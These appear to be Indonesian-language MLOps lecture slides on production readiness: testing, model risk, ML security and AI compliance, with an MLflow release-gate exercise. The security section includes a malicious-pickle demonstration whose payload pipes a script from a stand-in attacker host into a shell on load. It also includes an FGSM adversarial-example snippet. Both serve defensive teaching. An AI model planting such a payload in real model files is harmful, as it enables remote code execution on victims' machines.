Preparing for Production: QA, Risk, Security & Compliance

Dari “model bagus di notebook” menuju model yang teruji, aman, dapat diaudit, dan patuh regulasi

Machine Learning Operations (MLOps) — Minggu 7 Ahmad Luky Ramdani · Program Studi Sains Data · ITERA

Capaian Pembelajaran

Setelah sesi ini, mahasiswa mampu:

1. Menjelaskan perbedaan lingkungan pengembangan dan produksi, serta apa saja yang harus disiapkan sebelum go-live.
2. Merancang strategi Quality Assurance (QA) untuk sistem ML: data, model, kode, dan infrastruktur.
3. Menilai risiko model (model risk) dan menyusun langkah mitigasinya.
4. Mengidentifikasi ancaman keamanan khas ML (poisoning, adversarial, model theft, prompt injection, supply chain) beserta kontrolnya.
5. Memetakan kewajiban compliance (UU PDP, EU AI Act, NIST AI RMF, ISO/IEC 42001) ke dalam pipeline MLOps.

Agenda

1. Motivasi

Mengapa model yang “akurat” belum tentu siap deployment/production?

“GAP” Antara Notebook/Development dan Production/Deployment

Minggu lalu kita sudah bisa melacak eksperimen dan memilih model terbaik di registry. Pertanyaannya sekarang: bolehkah model itu dilepas ke pengguna?

Model ML adalah perangkat lunak + data + statistik. Ketiganya membawa jenis kegagalan “Bug” yang berbeda.

Hidden Technical Debt in ML Systems

Sculley et al. (NeurIPS 2015): kode model hanya bagian kecil dari sistem ML.

Komponen lain yang justru sering menjadi sumber masalah:

• Konfigurasi, data collection, feature extraction
• Data verification & serving infrastructure
• Monitoring, process management, resource management
• Ketergantungan data yang tidak stabil (unstable data dependencies)
• Feedback loop tersembunyi

Implikasi: QA, risk, security, dan compliance harus mencakup seluruh sistem, bukan hanya file model.pkl.

QA, Risk, Security & Compliance

• Quality Assurance (QA) & Pengujian Berkelanjutan: Validasi Data, Pengujian Model (Model Evaluation) dan Strategi Deployment
• Manajemen Risiko (Risk Management): Pemantauan Drift (Data & Concept Drift), Sistem Peringatan (Alerting) dan Fallback Strategy & Rollback
• Keamanan (Security): Adversarial Attacks & Data Poisoning, Infrastruktur & API Security dan Privasi Data (Data Anonymization)
• Kepatuhan & Tata Kelola (Compliance & Governance): Explainability (XAI), Keadilan & Bias (Fairness) and Audit Trail & Provenance

Insiden Nyata: Ketika Persiapan Produksi Diabaikan

Semua kegagalan ini bukan karena akurasi rendah, melainkan karena QA, risk, security, atau governance yang lemah.

Gambaran Industri: Suara Para CISO

The CISO Report 2026 — From Risk to Resilience in the AI Era (Splunk, 650 CISO global) - Pergeseran peran CISO dari sekadar penjaga pertahanan menjadi penggerak ketahanan bisnis di tengah adopsi AI:

• 78% CISO khawatir akan tanggung jawab pribadi (liability) atas insiden keamanan
• 41% tidak bisa mengaitkan ROI dengan aktivitas mitigasi risiko
• 39% sudah menjajaki agentic AI untuk fungsi keamanan
• 78% telah membentuk tim keamanan khusus untuk AI agent

Pesan utamanya: AI memperluas attack surface sekaligus tanggung jawab. Keamanan AI kini menjadi isu dewan direksi, bukan hanya isu tim teknis.

2. Preparing for Production

Runtime environment & production readiness

Posisi dalam Siklus MLOps

  Data ──► Eksperimen ──► Model Registry ──► [ PREPARING FOR PRODUCTION ] ──► Deploy ──► Monitor
  (M3-5)     (M6)             (M6)          ┌───────────────────────────┐    (M8+)     (M9+)
                                            │ • Runtime environment     │
                                            │ • Quality Assurance       │
                                            │ • Risk evaluation         │
                                            │ • Security review         │
                                            │ • Compliance & audit      │
                                            └───────────────────────────┘
                                                 = "Release Gate"

Treveil et al. (Introducing MLOps, O’Reilly, Bab 5): tahap ini adalah jembatan antara pengembangan dan deployment. Isinya: runtime environments, model risk evaluation, QA for ML, reproducibility & auditability, ML security, dan model risk mitigation.

Runtime Environment: Dev ≠ Prod

Model harus beradaptasi dari lingkungan pengembangan ke lingkungan produksi:

Pertimbangan tooling

• Framework training (PyTorch, sklearn) vs format serving (ONNX, TorchScript, TensorRT, safetensors)
• Bahasa / runtime berbeda (Python → Java/Go service, mobile, edge)

Pertimbangan performa

• Latensi (p50/p95/p99), throughput, memori, biaya per prediksi
• Kompresi model: quantization, pruning, distillation — harus diuji ulang akurasinya

Akses data sebelum validasi & launch

• Fitur yang tersedia saat training harus tersedia saat inferensi (training-serving skew)
• Data produksi mungkin tidak boleh diakses di dev (privasi) → gunakan data sintetis / masked

Pola Deployment dan Implikasinya

Setiap pola membawa profil risiko dan kebutuhan QA yang berbeda. Tentukan pola sejak awal.

Containerization: Lingkungan yang Konsisten

# Dockerfile — image serving yang minimal & terkunci
FROM python:3.11-slim@sha256:<digest>          # pin by digest, bukan tag saja

RUN useradd --create-home appuser               # jangan jalankan sebagai root
WORKDIR /app

COPY requirements.lock .                        # dependensi dengan versi + hash terkunci
RUN pip install --no-cache-dir --require-hashes -r requirements.lock

COPY src/ ./src/
COPY model/model.safetensors ./model/           # format aman, bukan pickle

USER appuser
EXPOSE 8080
HEALTHCHECK CMD curl -f http://localhost:8080/health || exit 1
CMD ["uvicorn", "src.api:app", "--host", "0.0.0.0", "--port", "8080"]

Prinsip: reproducible, minimal, non-root, terkunci (pinned), dan dapat dipindai.

Reproducibility & Auditability

Sebelum tahapan production, setiap model harus bisa menjawab: “bagaimana dan dari mana model berasal dan dikembangkan?”

Auditability = pihak ketiga (auditor, regulator) dapat menelusuri keputusan model tanpa bergantung pada ingatan tim. experiment tracking.

3. Quality Assurance untuk ML

Menguji sesuatu yang perilakunya dipelajari, bukan diprogram

Mengapa QA untuk ML Itu Berbeda?

QA untuk ML = software testing + data validation + model evaluation + monitoring.

Piramida Pengujian Sistem ML

                         ┌──────────────────────┐
                         │  Online Testing      │  shadow (Stabilitas & Performa), canary (Manajemen Risiko Rilis), A/B
                         ├──────────────────────┤
                     ┌───┤  System / E2E Tests  │  pipeline lengkap, API contract
                     │   ├──────────────────────┤
                 ┌───┤   │  Model Tests         │  performa, slicing, fairness,
                 │   │   │                      │  robustness, behavioral (CheckList)
                 │   │   ├──────────────────────┤
             ┌───┤   │   │  Data Tests          │  schema, range, null, drift, leakage
             │   │   │   ├──────────────────────┤
             │   │   │   │  Unit Tests          │  fungsi preprocessing, fitur, util
             └───┴───┴───┴──────────────────────┘

Semakin ke bawah: lebih cepat, lebih murah, lebih sering dijalankan. Semakin ke atas: lebih realistis, tetapi lebih mahal dan lebih lambat.

The ML Test Score

Breck et al. (2017) — 28 tes dalam 4 kategori untuk mengukur kesiapan produksi:

Skor = jumlah tes yang dijalankan (manual = 0.5, otomatis = 1) → ambil nilai minimum dari 4 kategori. Skor rendah = belum siap produksi.

3a. Data Testing

Data adalah “kode” model — harus diuji seperti kode.

• Schema: kolom, tipe, nullable sesuai kontrak
• Range & domain: usia ∈ [17, 100], kategori dikenal
• Kelengkapan: proporsi null di bawah ambang
• Keunikan & integritas: tidak ada duplikasi ID, foreign key valid
• Distribusi: tidak bergeser jauh dari data referensi [Population Stability Index (PSI), Kolmogorov–Smirnov (KS-test)]
• Leakage: tidak ada fitur yang “membocorkan” label (mis. tanggal_lunas untuk prediksi gagal bayar)
• Label quality: konsistensi anotasi, inter-annotator agreement

Tools: Great Expectations, Pandera, TFDV, Deepchecks, Evidently, Soda.

Contoh

import pandera as pa
from pandera import Column, Check

loan_schema = pa.DataFrameSchema(
    {
        "usia":        Column(int,   Check.in_range(17, 100)),
        "pendapatan":  Column(float, Check.ge(0), nullable=False),
        "tenor_bulan": Column(int,   Check.isin([6, 12, 24, 36])),
        "provinsi":    Column(str,   Check.isin(DAFTAR_PROVINSI)),
        "label":       Column(int,   Check.isin([0, 1])),
    },
    checks=[
        # minimal 1% kelas positif — deteksi label pipeline rusak
        Check(lambda df: df["label"].mean() > 0.01, error="label positif terlalu sedikit"),
    ],
    strict=True,  # tolak kolom tak dikenal
)

validated = loan_schema.validate(df_batch, lazy=True)  # kumpulkan semua error sekaligus

Jalankan di training dan inferensi → mencegah garbage in, garbage out.

3b. Model Testing: Lebih dari Satu Angka

Behavioral Testing (CheckList)

Ribeiro et al. (ACL 2020): uji perilaku model seperti menguji fitur software.

def test_invariance_nama(model):
    a = model.predict("Budi sangat puas dengan aplikasinya")
    b = model.predict("Siti sangat puas dengan aplikasinya")
    assert a == b, "Prediksi berubah hanya karena nama — indikasi bias"

3c. Code & Pipeline Testing

# tests/test_features.py — unit test untuk logika fitur
def test_rasio_hutang_tidak_bagi_nol():
    df = pd.DataFrame({"hutang": [100.0], "pendapatan": [0.0]})
    out = buat_fitur(df)
    assert np.isfinite(out["rasio_hutang"]).all()

def test_preprocessing_idempoten():
    once = preprocess(raw); twice = preprocess(preprocess(raw))
    pd.testing.assert_frame_equal(once, twice)

# tests/test_training.py — smoke test: pipeline jalan & model bisa overfit batch kecil
def test_model_bisa_overfit_batch_kecil():
    model = train(X_small, y_small, epochs=200)
    assert accuracy(model, X_small, y_small) > 0.99

# tests/test_api.py — contract test endpoint serving
def test_predict_contract(client):
    r = client.post("/predict", json=SAMPLE_REQUEST)
    assert r.status_code == 200 and 0 <= r.json()["proba"] <= 1

3d. Online Testing: Validasi di Dunia Nyata

Selalu siapkan rollback plan dan kill switch sebelum mengalirkan trafik.

Champion vs Challenger: Kriteria Promosi

Model baru (challenger) boleh menggantikan champion hanya jika semua kriteria terpenuhi:

1. ✅ Lulus seluruh unit, data, dan contract test
2. ✅ Metrik utama ≥ champion (dengan toleransi & uji signifikansi)
3. ✅ Tidak ada slice yang turun melebihi ambang (mis. > 2 poin)
4. ✅ Metrik fairness dalam batas yang disepakati
5. ✅ Latensi & ukuran memenuhi SLA
6. ✅ Security scan bersih (dependensi, image, format model)
7. ✅ Dokumentasi (model card) lengkap & disetujui pemilik risiko
8. ✅ Shadow / canary tanpa anomali

Kriteria ini diimplementasikan di CI/CD — bukan sekadar checklist di oleh pimpinan tim data scientist.

4. Risk Management

Model risk: menilai, memprioritaskan, dan memitigasi

Apa Itu Model Risk?

Model risk = potensi kerugian (finansial, hukum, reputasi, keselamatan) akibat keputusan yang didasarkan pada model yang salah atau disalahgunakan.

Definisi klasik dari regulator perbankan AS (SR 11-7, Federal Reserve 2011) — kini menjadi acuan luas:

1. Model memiliki kesalahan fundamental (desain, data, implementasi)
2. Model digunakan secara tidak tepat (di luar konteks / asumsi desainnya)

Prinsip “effective challenge”: model harus ditantang secara kritis oleh pihak yang independen, kompeten, dan punya wewenang — bukan hanya oleh pembuatnya.

Sumber Risiko Model ML

Introducing MLOps (Bab 5): risiko dapat berasal dari

Menilai Risiko: Likelihood × Impact

  IMPACT ▲
         │   Sedang          Tinggi          KRITIS
  Besar  │   (monitor)       (mitigasi)      (blok rilis / human-in-the-loop)
         │
  Sedang │   Rendah          Sedang          Tinggi
         │
  Kecil  │   Diterima        Rendah          Sedang
         └──────────────────────────────────────────────►
              Jarang          Mungkin         Sering        LIKELIHOOD

Dimensi impact yang perlu dipertimbangkan:

• Berapa banyak orang terdampak? Apakah keputusan dapat dibatalkan?
• Menyangkut hak dasar (kredit, kerja, kesehatan, hukum)?
• Seberapa otonom model (rekomendasi vs keputusan otomatis penuh)?
• Seberapa material secara finansial?

Model Risk Tiering

Tidak semua model butuh tingkat kontrol yang sama → proporsional terhadap risiko.

Pendekatan berbasis risiko ini juga dipakai EU AI Act (unacceptable / high / limited / minimal risk). EU AI Act: European Union Artificial Intelligence Act - Regulasi komprehensif pertama yang mengatur pengembangan, penyebaran, dan penggunaan

Risk Register untuk Proyek ML

L = likelihood (1–5), I = impact (1–5). Register adalah dokumen hidup — diperbarui tiap rilis.

Mitigasi Risiko Model

Sebelum deploy

• Validasi independen, stress test, what-if analysis, uji batas operasi model (operating envelope)

Saat deploy

• Progressive rollout (shadow → canary → full), kill switch, model fallback (rule-based / versi sebelumnya)
• Guardrail bisnis: batas atas/bawah output, aturan override manusia

Setelah deploy

• Monitoring performa, drift, fairness, dan anomali input
• Human-in-the-loop untuk keputusan berisiko tinggi
• Proses insiden: deteksi → eskalasi → rollback → post-mortem
• Review & validasi ulang periodik (mis. tiap 6–12 bulan untuk Tier 1)

NIST AI Risk Management Framework (AI RMF 1.0)

National Institute of Standards and Technology (NIST, 2023) — kini banyak dirujuk industri dan regulator — membantu berbagai organisasi meningkatkan keamanan, tata kelola, dan ketahanan teknologi:

Karakteristik Trustworthy AI menurut NIST: valid & reliable, safe, secure & resilient, accountable & transparent, explainable & interpretable, privacy-enhanced, fair (harmful bias managed).

5. Security Considerations

Melindungi data, model, dan pipeline

Mengapa Keamanan ML Itu Unik?

Sistem ML mewarisi semua kerentanan software biasa, ditambah kerentanan baru:

• Data adalah attack surface → penyerang bisa memengaruhi model tanpa menyentuh kode
• Model adalah aset bernilai sekaligus bisa membocorkan data training
• Input inferensi bisa direkayasa (adversarial examples, prompt injection)
• Supply chain panjang: dataset publik, pretrained model, library, container
• Format model populer (pickle) bisa menjalankan kode ARBITRER (Arbitrary Code Execution - ACE) saat dimuat

Calefato et al. (ITASEC 2024): dari tinjauan literatur multivokal, ditemukan 15 risiko dan 27 best practice keamanan MLOps dalam 8 tema. Sebagian risiko adalah ancaman siber klasik; sebagian lainnya khas MLOps — terutama terkait manajemen data dan model.

Attack Surface Sepanjang Lifecycle MLOps

 ┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
 │  Data    │──►│ Feature/ │──►│ Training │──►│ Registry │──►│ Serving  │──►│ Monitor  │
 │ Ingestion│   │  Prep    │   │          │   │/Artifact │   │  / API   │   │          │
 └────┬─────┘   └────┬─────┘   └────┬─────┘   └────┬─────┘   └────┬─────┘   └────┬─────┘
      │              │              │              │              │              │
  poisoning,     leakage,       malicious      model         adversarial,   log berisi
  data exfil.,   code inj.      dependency,    tampering,    extraction,    PII, alert
  sumber palsu   di transform   training env   pickle        inversion,     dimatikan,
                                dibobol        backdoor,     prompt inj.,   blind spot
                                               theft         DoS

Mehta et al. (IARJSET 2024): deployment adalah fase paling kritis secara keamanan — perlu containerization yang benar, API yang aman, dan access control.

Taksonomi Serangan terhadap Model ML

Adversarial Example: Ilustrasi

Fast Gradient Sign Method (Goodfellow et al., 2015): perturbasi kecil, nyaris tak terlihat manusia, tetapi mengubah prediksi model.

# Uji robustness sederhana (PyTorch) — FGSM
def fgsm(model, x, y, eps=0.01):
    x = x.clone().requires_grad_(True)
    loss = F.cross_entropy(model(x), y)
    loss.backward()
    return (x + eps * x.grad.sign()).clamp(0, 1).detach()

x_adv = fgsm(model, x_test, y_test, eps=0.03)
robust_acc = (model(x_adv).argmax(1) == y_test).float().mean()
print(f"Clean acc: {clean_acc:.3f} | Adversarial acc: {robust_acc:.3f}")

Mitigasi: adversarial training, input preprocessing/validation, ensemble, deteksi anomali input, certified robustness. Tools: Adversarial Robustness Toolbox (ART), Foolbox, TextAttack.

Ancaman Khas GenAI, RAG, dan AI Agent

Era LLM menambah kategori ancaman baru (CyCognito; SANS SEC411):

• Prompt injection — langsung (direct) atau tidak langsung via dokumen/web yang dibaca model
• RAG poisoning — penyerang meracuni basis pengetahuan yang diambil saat retrieval
• Sensitive information disclosure — model membocorkan data training / system prompt
• Shadow AI — karyawan memakai tool AI pihak ketiga tanpa izin, memasukkan data rahasia
• Insecure agents & excessive agency — agent dengan izin terlalu luas menjalankan aksi berbahaya
• MCP server / tool poisoning — tool yang dipanggil agent dimanipulasi
• Komunikasi agent tidak terenkripsi → intersepsi & manipulasi
• Unbounded consumption — biaya / DoS lewat permintaan berlebihan

OWASP Top 10 for LLM Applications (2025)

Kerangka pelengkap:

• OWASP Machine Learning Security Top 10 — untuk ML klasik
• MITRE ATLAS — basis pengetahuan taktik & teknik penyerang terhadap sistem AI (mirip MITRE ATT&CK)
• Google SAIF (Secure AI Framework)

Supply Chain Security: Bahaya Pickle

import pickle, os

class Payload:
    def __reduce__(self):
        # dieksekusi otomatis saat pickle.load()!
        return (os.system, ("curl http://penyerang.example/x.sh | sh",))

pickle.dump(Payload(), open("model_keren.pkl", "wb"))
# Korban: model = pickle.load(open("model_keren.pkl", "rb"))  → kode penyerang berjalan

Mitigasi:

• Gunakan format tanpa eksekusi kode: safetensors, ONNX; torch.load(..., weights_only=True)
• Pindai model pihak ketiga: ModelScan, picklescan, fitur scanning di Hugging Face Hub
• Ambil model hanya dari sumber terpercaya, pin revisi/commit hash, verifikasi checksum
• Buat SBOM / AI-BOM (daftar dependensi, dataset, dan model) — mis. CycloneDX
• Tandatangani artefak model (Sigstore / cosign, OpenSSF Model Signing)

Supply Chain: Dependensi & Container

# 1. Audit kerentanan dependensi Python (CVE)
pip-audit -r requirements.lock

# 2. Pindai image container (OS packages + library)
trivy image registry.example.com/fraud-model:1.4.0 --severity HIGH,CRITICAL --exit-code 1

# 3. Cari secret yang ter-commit (API key, token)
gitleaks detect --source . --redact

# 4. Static analysis kode Python
bandit -r src/

# 5. Generate SBOM
syft registry.example.com/fraud-model:1.4.0 -o cyclonedx-json > sbom.json

# 6. Tandatangani image & model
cosign sign registry.example.com/fraud-model@sha256:<digest>

Satu kerentanan di parent image populer dapat menyebar ke semua image turunannya (Calefato et al., 2024).

Mengamankan Data

Pelanggaran data pribadi bukan hanya masalah teknis — di Indonesia ada sanksi UU PDP (dibahas di bagian Compliance).

Mengamankan Model & Endpoint Serving

Akses & identitas

• Least privilege (PoLP) + RBAC untuk registry, artifact store, dan pipeline
• Zero trust: setiap permintaan diautentikasi & diotorisasi; managed identity / service principal, bukan password statis
• MFA untuk akses manusia; audit log untuk semua aksi (siapa mempromosikan model ke produksi?)

Mengamankan Model & Endpoint Serving

Endpoint inferensi

• Autentikasi API (OAuth2 / API key + mTLS), rate limiting & quota
• Validasi input (schema, ukuran, tipe file) & sanitasi output
• Kurangi informasi output: kembalikan label/skor terbulatkan, bukan seluruh vektor probabilitas → menyulitkan ekstraksi
• Monitoring pola query anomali (indikasi extraction / probing)
• Model watermarking & enkripsi model untuk melindungi IP

MLSecOps: Security di Setiap Tahap

SecMLOps / MLSecOps: “integrasi eksplisit keamanan di seluruh siklus hidup MLOps untuk menghasilkan sistem ML yang lebih aman, andal, dan tepercaya” (Zhang & Jaskolka, dikutip Calefato et al., 2024).

8 Tema Risiko & Best Practice MLOps (Calefato et al., 2024)

Temuan penting: risiko khas MLOps (data & model) masih kurang diteliti dibanding risiko siber klasik → perlu praktik lanjutan untuk data security dan continuous model monitoring.

Red Teaming & Incident Response untuk AI

AI Red Teaming — simulasi serangan secara terstruktur sebelum (dan sesudah) rilis:

• Uji jailbreak & prompt injection (LLM), adversarial input (vision/tabular)
• Uji kebocoran data (membership inference, ekstraksi PII)
• Uji penyalahgunaan (misuse) sesuai konteks bisnis
• Tools: Garak, PyRIT, promptfoo, ART

Incident Response Playbook — siapkan sebelum dibutuhkan:

1. Detect — alert drift/anomali/keamanan
2. Contain — kill switch, rate limit ketat, fallback model
3. Eradicate — hapus data teracuni, patch, rotasi kredensial
4. Recover — rollback ke versi terverifikasi, retrain dengan data bersih
5. Learn — blameless post-mortem, perbarui risk register & tes

6. Compliance

Regulasi, standar, dan dokumentasi

Mengapa Compliance Penting untuk Engineer?

• Compliance bukan hanya urusan tim legal — kewajibannya diwujudkan dalam kode, pipeline, dan log
• Banyak kewajiban regulasi = requirement teknis:
  • “Hak untuk dihapus” → pipeline harus bisa menghapus data subjek (dan menilai dampaknya pada model)
  • “Transparansi” → model card, logging keputusan, explainability
  • “Human oversight” → mekanisme override & human-in-the-loop
  • “Record-keeping” → audit trail otomatis dari experiment tracking & registry
• Sanksi bisa sangat besar: denda, larangan operasi, tanggung jawab pidana

Compliance by design: bangun kepatuhan sejak awal, bukan “ditempel” di akhir.

Lanskap Regulasi & Standar AI

UU PDP Indonesia: Implikasi untuk MLOps

UU No. 27 Tahun 2022 tentang Pelindungan Data Pribadi:

EU AI Act: Pendekatan Berbasis Risiko

        ┌───────────────────────┐
        │   UNACCEPTABLE RISK   │  DILARANG: social scoring, manipulasi, sebagian
        │                       │  biometrik real-time di ruang publik
        ├───────────────────────┤
        │      HIGH RISK        │  Kredit, rekrutmen, pendidikan, infrastruktur kritis,
        │                       │  penegakan hukum → kewajiban ketat
        ├───────────────────────┤
        │     LIMITED RISK      │  Chatbot, deepfake → kewajiban TRANSPARANSI
        ├───────────────────────┤
        │     MINIMAL RISK      │  Filter spam, game → bebas (code of conduct sukarela)
        └───────────────────────┘

Kewajiban sistem high-risk: manajemen risiko, data governance, dokumentasi teknis, record-keeping (logging otomatis), transparansi, human oversight, akurasi-robustness-cybersecurity, conformity assessment.

Relevan bagi perusahaan Indonesia yang melayani pasar Eropa — dan menjadi acuan banyak negara lain.

Pemetaan Kewajiban → Artefak MLOps

Dokumentasi: Model Card

Mitchell et al. (2019) — “Label/informasi penting” untuk model:

# Model Card — Credit Default Classifier v1.4.0
## Detail Model     : XGBoost, dilatih 2026-09-30, MLflow run 3f9a…, owner: Tim Risk Analytics
## Intended Use     : Rekomendasi awal skor risiko; KEPUTUSAN AKHIR oleh analis kredit
## Out-of-Scope     : Penolakan otomatis tanpa review; pemohon usaha (bukan perorangan)
## Data Training    : Data aplikasi 2022–2025 (v2026.09, hash 7c1e…), 1,2 juta baris
## Metrik           : AUC 0.81 (test), recall@FPR5% 0.62; per-slice terlampir
## Fairness         : Selisih TPR antar gender 0.02; antar wilayah 0.04 (ambang 0.05)
## Keterbatasan     : Kurang akurat untuk pemohon tanpa riwayat kredit (thin-file)
## Risiko & Mitigasi: Tier 1 — human-in-the-loop, monitoring PSI harian, review 6 bulan
## Persetujuan      : Model Risk Committee, 2026-10-05

Pelengkap: Datasheets for Datasets (Gebru et al., 2021), AI-BOM, system card untuk LLM.

Governance: Siapa Melakukan Apa?

R = Responsible, A = Accountable, C = Consulted, I = Informed

Prinsip “three lines of defense”: (1) tim pembuat model, (2) fungsi risiko & compliance, (3) audit internal.

7. Hands-on: Production Readiness dengan MLflow

QA, risk, security & compliance sebagai release gate di atas MLflow Model Registry

Skenario: Melanjutkan Hands-on 2 Minggu 6

Di Minggu 6 kita punya model bc-malignant-classifier (Breast Cancer Wisconsin) di MLflow Registry. Gate Minggu 6 hanya mengecek satu hal: test_recall lebih baik dari champion → model langsung jadi @champion.

Pertanyaan Minggu 7: model ini akurat, tetapi apakah siap produksi di rumah sakit?

File: mlo/preparing_for_production/hands_on_production_readiness.py + guarded_model.py

Arsitektur Integrasi dengan MLflow

 MINGGU 6                                     MINGGU 7: hands_on_production_readiness.py
 ────────                                     ──────────────────────────────────────────────────────────
 experiment                                   experiment "bc-production-readiness"
 "bc-malignant-detection"                       └─ run "readiness-v5"
   └─ run 10-svc-gridsearch ──┐                     ├─ policy.json
                              │                     ├─ p1_lineage/   lineage.json
 Model Registry               │                     ├─ p2_data_qa/   data_contract.json, psi_*.json
 bc-malignant-classifier      │                     ├─ p3_model_qa/  slice_metrics, calibration_curve.png
   v1 @champion ◄─────────────┘                     │                (+ confusion matrix, ROC/PR dari evaluate)
   v5 @challenger ──── diuji P0–P6 ───────────────► ├─ p4_risk/      risk_register.json, risk_tier.json
        │                                           ├─ p5_security/  artifact_manifest.json
        │  tag: readiness_gate, qa_status,          ├─ p6_compliance/model_card.md
        │       security_status, risk_tier,         └─ p7_gate/      gate_report.json, checks.json
        │       artifact_sha256, approved_by
        ▼
   P7: approved → v5 @champion, v1 @previous-champion
   P8: bc-malignant-classifier-guarded v1 @champion  (wrapper validasi input + integritas)

Prinsip: semua bukti kesiapan produksi tersimpan di MLflow → dapat diaudit, bukan di laptop atau ingatan.

Setup & Alur Menjalankan

pip install "mlflow>=3" scikit-learn pandas matplotlib requests   # sklearn >= 1.5
pip install pip-audit                                             # opsional (P5)

# 0) Registry dari Minggu 6 (lewati jika mlflow.db sudah ada)
python ../model_xperimentation_and_tracking/hands_on_2_end_to_end.py

# 1) Uji @challenger Minggu 6 (SVC)              -> REJECTED
python hands_on_production_readiness.py

# 2) Kandidat baru, threshold di-tuning (F2)      -> lulus uji teknis, PENDING approval
python hands_on_production_readiness.py --new-candidate logreg-f2

# 3) Persetujuan pemilik risiko                   -> APPROVED + model -guarded (P8)
python hands_on_production_readiness.py --approver "dr. Sari (Model Risk Committee)"

# Lainnya
python hands_on_production_readiness.py --demo-malicious-pickle
python hands_on_production_readiness.py --rollback --reason "drift terdeteksi"
mlflow ui --backend-store-uri sqlite:///mlflow.db

Kebijakan Rilis Ditulis Sebelum Pengujian

POLICY = {
    "min_test_recall": 0.93,           # optimizing metric (false negative mahal)
    "min_test_precision": 0.90,        # satisficing metric (sama dengan Minggu 6)
    "max_regression_vs_champion": 0.01,
    "min_slice_recall": 0.85,          # tidak boleh ada kelompok tumor yang "dikorbankan"
    "max_flip_rate_noise_1pct": 0.02,  # robustness
    "max_brier": 0.10,                 # kalibrasi (warning)
    "max_psi": 0.20,                   # drift train vs test (warning)
    "max_feature_target_corr": 0.95,   # indikasi leakage (blocker)
    "max_p95_latency_ms": 50,
    "review_margin": 0.15,             # |skor - threshold| <= 0.15 -> dicek dokter
}

def check(phase, name, passed, detail="", severity="blocker"):
    CHECKS.append({"phase": phase, "check": name, "passed": bool(passed),
                   "severity": severity, "detail": str(detail)})

Tiga tingkat keparahan: blocker (gagal = rilis diblokir) · warning (dicatat) · approval (butuh manusia).

Mengubah angka di POLICY = mengubah kebijakan → harus lewat review, bukan “biar lulus”.

P0–P1: Target & Lineage dari Registry

mv = client.get_model_version_by_alias(MODEL_NAME, "challenger")          # P0
model_dir = mlflow.artifacts.download_artifacts(f"models:/{MODEL_NAME}/{mv.version}")

with mlflow.start_run(run_name=f"readiness-v{mv.version}"):                # 1 run per pemeriksaan
    run, tags = client.get_run(mv.run_id), client.get_run(mv.run_id).data.tags
    check("lineage", "data_md5 tercatat & cocok", tags.get("data_md5") == data_md5)
    check("lineage", "Git commit tercatat", "mlflow.source.git.commit" in tags,
          severity="warning")
    mlmodel = yaml.safe_load(open(os.path.join(model_dir, "MLmodel")))
    check("lineage", "Signature (kontrak input/output)", "signature" in mlmodel)
    check("lineage", "Environment terdokumentasi",
          os.path.exists(os.path.join(model_dir, "requirements.txt")))

[P1] Lineage & reproducibility
  ✓ [blocker] data_md5 tercatat & cocok      tercatat=ee5481ad12… sekarang=ee5481ad12…
  ✓ [warning] Git commit tercatat            a4b3251471
  ✓ [blocker] Signature (kontrak input/output) ada

Inilah manfaat experiment tracking Minggu 6: lineage bisa diverifikasi otomatis.

P2: Data QA — Contract, Leakage, Drift

contract = {"columns": [...], "ranges": {c: [X[c].min(), X[c].max()] for c in X},
            "range_tolerance": 0.10, "positive_ratio": [0.20, 0.50]}   # juga dipakai di P8

check("data_qa", "[test] tanpa null", X.isna().sum().sum() == 0)
check("data_qa", "[test] nilai tidak negatif", (X >= 0).all().all())
overlap = len(pd.merge(train_df, test_df, how="inner"))
check("data_qa", "Tidak ada baris train bocor ke test", overlap == 0)

corr = train_df.corr()["target"].drop("target").abs()                  # leakage
check("data_qa", "Tidak ada fitur 'membocorkan' label", corr.max() < 0.95)

drift = {c: psi(train_df[c], test_df[c]) for c in contract["columns"]}  # Population Stability Index
check("data_qa", "Distribusi train vs test stabil (PSI)", max(drift.values()) < 0.20,
      severity="warning")
mlflow.log_dict(contract, "p2_data_qa/data_contract.json")

  ✓ [blocker] Tidak ada fitur 'membocorkan' label  korelasi maks=0.79 (worst concave points)
  ⚠ [warning] Distribusi train vs test stabil (PSI) PSI maks=0.218 (mean fractal dimension)

PSI 0.218 pada data dari sumber yang sama → dataset kecil (114 baris test) membuat estimasi distribusi tidak stabil.

P3 (1/3): mlflow.models.evaluate + Non-Regresi

result = mlflow.models.evaluate(
    f"models:/{MODEL_NAME}/{mv.version}", data=test_df, targets="target",
    model_type="classifier", evaluators="default",
    evaluator_config={"log_model_explainability": False},
)   # otomatis log: recall, precision, f1, roc_auc, confusion matrix, ROC & PR curve

recall = result.metrics["recall_score"]
check("model_qa", "Recall test >= kebijakan", recall >= POLICY["min_test_recall"])
check("model_qa", "Precision test >= kebijakan",
      result.metrics["precision_score"] >= POLICY["min_test_precision"])

if champion and champion.version != mv.version:          # test set yang SAMA
    champ = mlflow.sklearn.load_model(f"models:/{MODEL_NAME}/{champion.version}")
    champ_recall = recall_score(y_test, champ.predict(X_test))
    check("model_qa", "Tidak lebih buruk dari champion",
          recall >= champ_recall - POLICY["max_regression_vs_champion"])

mlflow.models.evaluate = evaluasi standar & konsisten untuk semua kandidat; artefaknya langsung muncul di run.

P3 (2/3): Slice, Kalibrasi, Robustness

size = pd.qcut(test_df["mean radius"], 3, labels=["kecil", "sedang", "besar"])
for s in size.cat.categories:                                   # slice-based evaluation
    m = (size == s).values
    r = recall_score(y_test[m], y_pred[m])
    check("model_qa", f"Recall slice tumor_{s}", r >= POLICY["min_slice_recall"])
    mlflow.log_metric(f"slice_recall_tumor_{s}", r)

brier = brier_score_loss(y_test, score)                         # kalibrasi
disp = CalibrationDisplay.from_predictions(y_test, score, n_bins=5)
mlflow.log_figure(disp.figure_, "p3_model_qa/calibration_curve.png")

noisy = X_test + rng.normal(0, 1, X_test.shape) * (0.01 * X_test.std().values)
flip = (model.predict(noisy.clip(lower=0)) != y_pred).mean()   # robustness
check("model_qa", "Robust terhadap noise 1%", flip <= POLICY["max_flip_rate_noise_1pct"])

  ⚠ [warning] Recall slice tumor_kecil   support terlalu kecil (n_malignant=0) -> butuh data tambahan
  ✗ [blocker] Recall slice tumor_sedang  0.818 (n_malignant=11)       ← champion Minggu 6 (SVC)
  ✓ [blocker] Recall slice tumor_besar   0.968 (n_malignant=31)

Recall agregat 0.929 tampak baik, padahal 2 dari 11 tumor ganas berukuran sedang terlewat.

P3 (3/3): Behavioral Test & Latensi

# MFT — kasus paling jelas wajib benar
extreme = malignant.nlargest(5, "worst area")[cols]
check("model_qa", "MFT: tumor sangat besar -> malignant", (model.predict(extreme) == 1).all())

